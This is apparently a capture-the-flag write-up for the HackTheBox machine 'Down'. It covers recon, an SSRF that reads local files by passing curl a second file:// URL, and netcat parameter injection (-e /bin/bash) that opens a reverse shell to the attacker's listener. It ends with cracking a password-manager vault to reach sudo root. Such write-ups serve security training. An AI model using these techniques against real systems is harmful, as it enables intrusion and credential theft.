Introduction #
An easy linux box centered around an is it down type website. This suggests an SSRF that can be exploited with a little bit of filter bypass. I can use curl feature of taking multiple URLs and pass the second one with the file:// schema to read from the host.
There I can get access to the source code of the page and find there is an ’expert mode’ that will make a raw TCP connection with netcat.
From that I can use a parameter injection to get a shell.
Inside there is a password manager - pswm - instance with the next user’s password.
This user has (ALL : ALL) ALL privileges so the root is right there.
Recon #
nmap #
nmap finds two open TCP ports, 22 (SSH) and 80 (HTTP):
sudo nmap -sC -sV -oA nmap_scan/nmap_results 10.129.145.123
-sCfor defaults scripts-sVenumerate version-oAoutput in all formats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-30 10:56 EDT
Nmap scan report for 10.129.145.123
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_ 256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds
There is an Ubuntu server (port 22) and Apache running on Ubuntu (port 80)
Website - TCP 80 #
The website is a simple is it down type site.
If I enter any site it freezes for a while and eventually reports false information:
If I start a listener on my machine, it makes a request to it I get:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.39] from
(UNKNOWN) [10.129.145.123] 55686
GET / HTTP/1.1
Host: 10.10.14.39:4444
User-Agent: curl/7.81.0
Accept: */*
It uses curl to make the request.
If I request http://localhost, it returns:

Shell as www-data #
File read #
curl can grab files using file:// instead of http://, so lets try that:

It fails and shows there is a filter Only protocols http or https allowed.
It seems to only check the start of the string.

Luckily, curl has the option to input multiple URLs like this:
curl -s http://localhost:8080/test http://localhost:8080/test2
┌──(kali㉿kali)-[~/CTF/HTB/Down]
└─$ curl -s http://localhost:8081/test1 http://localhost:8081/test2
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 404</p>
<p>Message: File not found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
</body>
</html>
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 404</p>
<p>Message: File not found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
</body>
</html>
Using that I can put arbitrary http:// page first and try file:// as the second URL:

It works!
System Enumeration #
I can get the environment variables for the current process

APACHE_RUN_DIR=/var/run/apache2
SYSTEMD_EXEC_PID=1012
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=8:23064
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
INVOCATION_ID=8cfe2b9d930248a09b0bbd3e27cfd89a
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
I can get the page source with url=http:// file:///proc/self/cwd/index.php
cwd = current working directory

After decoding the HTML encoded output I have this:
!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Is it down or just me?</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<header>
<img src="/logo.png" alt="Logo">
<h2>Is it down or just me?</h2>
</header>
<div class="container">
<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
echo '<h1>Is the port refused, or is it just you?</h1>
<form id="urlForm" action="index.php?expertmode=tcp" method="POST">
<input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
<input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
<button type="submit">Is it refused?</button>
</form>';
} else {
echo '<h1>Is that website down, or is it just you?</h1>
<form id="urlForm" action="index.php" method="POST">
<input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
<button type="submit">Is it down?</button>
</form>';
}
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! ð</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! ð</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
}
} elseif (isset($_POST['url'])) {
$url = trim($_POST['url']);
if ( preg_match('|^https?://|',$url) ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/curl -s $url");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! ð</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! ð</font><br><br>";
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
}
}
?>
</div>
</div>
<footer>© 2024 isitdownorjustme LLC</footer>
</body>
</html>
Code Analysis #
Expert mode #
At the start of the php section there is an if branch
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
It checks if there is an expertmode parameter with value “tcp”.
I can add ?expertmode=tcp to the URL and get different input windows.

Vulnerability #
The code has a serious flaw, it uses unvalidated input in exec()
// ... inside the 'expertmode=tcp' and POST check ...
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port); // Converts to an integer, stopping at the first non-numeric char
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT); // Validates the integer part
if ( $valid_ip && $valid_port ) {
// ...
// DANGEROUS LINE: Uses $port, not $port_int, and then uses escapeshellcmd
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1",$output,$rc);
// ...
}
// ...
The intent was to validate the user’s input for the port number ($port).
It correctly converts the input to an integer using intval($port), storing it in $port_int.
It then correctly validates that the integer value is an integer using filter_var($port_int, FILTER_VALIDATE_INT).
However, the code then constructs the shell command using the original, potentially unvalidated string $port instead of the validated integer value $port_int.
The intval() Issue
The PHP intval() function attempts to get the integer value of a string. If the string starts with a number, it will stop at the first non-numeric character.
If I enter "22; ls -la", then $port is "22; ls -la", but $port_int is 22. The validation check ($valid_port) passes because $port_int is a valid integer.
escapeshellcmd will prevent command injection, but it will not prevent parameter injection. So I can send -e /bin/bash and try to get a shell.
Exploit #

After a few seconds there is a connection to my listener and I have a shell.
┌──(kali㉿kali)-[~/CTF/HTB/Down]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.39] from (UNKNOWN) [10.129.145.123] 54416
The user flag is in www-data home directory in the html folder.
Root #
Enumeration #
There is only one user in /home - aleks.
For some reason the www-data has access to it. I can not get to .ssh, but there is a pswm file.
└─$ cd /home/aleks
ls -la
total 36
drwxr-xr-x 5 aleks aleks 4096 May 27 23:51 .
drwxr-xr-x 3 root root 4096 Sep 13 2024 ..
lrwxrwxrwx 1 root root 9 May 1 22:31 .bash_history -> /dev/null
-rw-r--r-- 1 aleks aleks 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 aleks aleks 3771 Jan 6 2022 .bashrc
drwx------ 2 aleks aleks 4096 Sep 6 2024 .cache
-rw------- 1 aleks aleks 20 May 27 23:51 .lesshst
drwxrwxr-x 3 aleks aleks 4096 Sep 6 2024 .local
-rw-r--r-- 1 aleks aleks 807 Jan 6 2022 .profile
drwx------ 2 aleks aleks 4096 Sep 6 2024 .ssh
-rw-r--r-- 1 aleks aleks 0 Sep 15 2024 .sudo_as_admin_successful
└─$ find . -type f
./.lesshst
./.bashrc
./.sudo_as_admin_successful
./.local/share/pswm/pswm
./.profile
./.bash_logout
pswm #
A simple command line password manager written in Python.
The pswm file contains something that looks like base64 encoded and encrypted string.
└─$ cat .local/share/pswm/pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
Decrypt #
There is a tool pswm-decryptor.
It takes the pswm encrypted file and a wordlist, with rockyou.txt it returned the passwords almost immediately.
┌──(ctf_venv)─(kali㉿kali)-[~/CTF/HTB/Down]
└─$ python3 pswm-decryptor/pswm-decrypt.py -f pswm_file -w ~/Tools/rockyou.txt
[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias | Username | Password |
+------------+----------+----------------------+
| pswm | aleks | flower |
| aleks@down | aleks | 1uY3w22uc-Wr{xNHR~+E |
+------------+----------+----------------------+
Aleks #
With this password I can su to aleks, or use ssh to connect.
Aleks can run any command with sudo:
aleks@down:~$ sudo -l
[sudo] password for aleks:
Matching Defaults entries for aleks on down:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User aleks may run the following commands on down:
(ALL : ALL) ALL
So I can simple sudo su and get the root flag.